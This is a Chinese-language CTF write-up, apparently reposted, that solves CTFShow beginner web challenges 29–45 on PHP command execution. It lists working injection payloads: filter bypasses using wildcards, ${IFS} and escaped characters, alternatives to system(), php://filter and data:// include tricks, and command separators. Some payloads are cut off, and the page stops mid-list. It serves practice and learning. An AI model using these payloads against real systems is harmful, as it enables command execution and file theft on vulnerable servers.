CTFShow web入门刷题记录

您所在的位置:网站首页 ctfshow web入门71 CTFShow web入门刷题记录

CTFShow web入门刷题记录

#CTFShow web入门刷题记录| 来源: 网络整理| 查看: 265

CTFShow web入门刷题记录-命令执行 web29

考点:preg_match对于“flag”的字符的过滤

使用f*代替flag完成绕过

* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 payload:?c=system("cat f*");

执行后flag在源代码里

此外网上大佬也给出了另一种解决办法

对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制 c=system('ca\t fla\g.php');

flag:flag{ca702203-0b5f-4bb0-ad68-3154d728ab0c}

web30

和上一题相似不过这次吧system也过滤了

可以通过system的替代函数完成

这里通过反引号执行系统命令完成

payload:?c=echo `cat f*`;

初次之外还有一些函数与system的功能相同

passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec()

flag:flag{3cede271-4a2a-4e94-85b4-025278b306a1}

web31

本题过滤了flag,sytem,php,cat,sort shell,.,空格,’

当cat被过滤后可以使用以下命令替代

(1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 (13)sed:一种编辑器,这个也可以查看

当空格被过滤后可以使用以下命令替代

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、、%20(space) payload:?c=echo`more%09f*`;

flag:flag{5062e094-f2fb-4a1c-8632-fe17f2c98a73}

web32

在前面基础上又过滤了括号

使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过

paylaod

?c=include"$_POST[1]"?> 1=php://filter/read=convert.base64-encode/resource=flag.php

当然使用GET传参也能得到相同效果

payload

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

传递后得到一串base64编码,解码后得到flag

flag:flag{cc9b544f-8f19-48b6-b867-b9837304f780}

web33

payload与上一题相同但需要去掉“”

?c=include$_POST[1]?> 1=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

flag:flag{68551975-46f4-47e7-9fbd-b987050a56d3}

web34

多过滤了:

paylaod与上题相同

flag:flag{ae336974-68a0-406d-a3d0-49489b233f6a}

web35

多过滤了=

GET无法用了,但POST还行继续,payload参考上面题目的

flag:flag{1e01b6f4-bea9-412a-bb5d-6b907c0af54c}

web36

多过滤了0-9的数字

修改POST

paylaod

?c=include$_POST[a]?> a=php://filter/read=convert.base64-encode/resource=flag.php

flag:flag{1599bb50-452b-4c15-a62c-795f732d82d8}

web37

这里用了PHP文件包含函数include(),利用伪协议读flag

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

paylaod

?c=data://text/plain,

text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。

官方的hint

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

flag:flag{393b41d8-18d1-444e-a9dd-0c4ab3b549b2}

web38

这里过滤了php|file

采取web37官方hint的方法,把语句转换成base64进行绕过

flag:flag=flag{94932556-2e1a-4023-8060-15d30baea5cc}

web39

hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

所以paylaod与37类似,因为参考了羽大佬的博客一些payload是通解

paylaod

?c=data://text/plain,

flag:flag{347c3988-4a4d-4859-a935-324827012281}

web40

hint:GXYCTF的禁止套娃 通过cookie获得参 数进行命令执行

这题过滤了很多,而网上大佬的wp现在还无法理解,只能先暂时抄一下解题过程,以后学多了再回头来做一遍吧

1、使用读文件+数组改造

payload

c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); c=readfile(array_rand(array_flip(scandir(current(localeconv())))));(flag在源代码中,需要多刷几次才能访问到flag.php)

所用函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以 scandir(pos(localeconv()))就能得到flag.php了。

此时再将arry倒序并输出第二个就能得到flag

flag:flag{dc0a331d-32df-4461-b292-6668ee402ca5}

web41

咕咕咕,看不懂羽大佬博客,有空再写

https://blog.csdn.net/miuzzx/article/details/108569080

web42

发现>/dev/null 2>&1命令

查询后得知,执行了这条命令之后,它的作用就是执行某个命令将不会有任何日志输出,所以我查了个寂寞?算了就当学习吧

payload: ?c=ls; ?c= cat flag.php;

flag:flag{d8911efd-fad3-4756-9481-514961a7d54f}

web43

本题过滤了cat,分号

利用与cat功能类似的函数替代,或者使用\进行绕过

more,less,nl,tail ca

分号使用其他分隔符代替,例如||

linux中:%0a 、%0d 、; 、& 、| 、&&、|| windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

但这题我试了只能使用||和%0a不知道为什么

payload:?c=nl flag.php||

flag:flag{883ac356-7c4d-4812-adc4-7308589c838d}

web44

多过滤了flag,使用f*进行绕过

payload:?c=nl f*||

flag:flag{9448b553-eda5-42e5-a871-d07ffa676d3c}

web45

多过滤了空格使用%,使用以下绕过空格的方法

cat flag.txt cat${IFS}flag.txt cat$IFS/flag.txt cat$IFS$9flag.txt cat


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3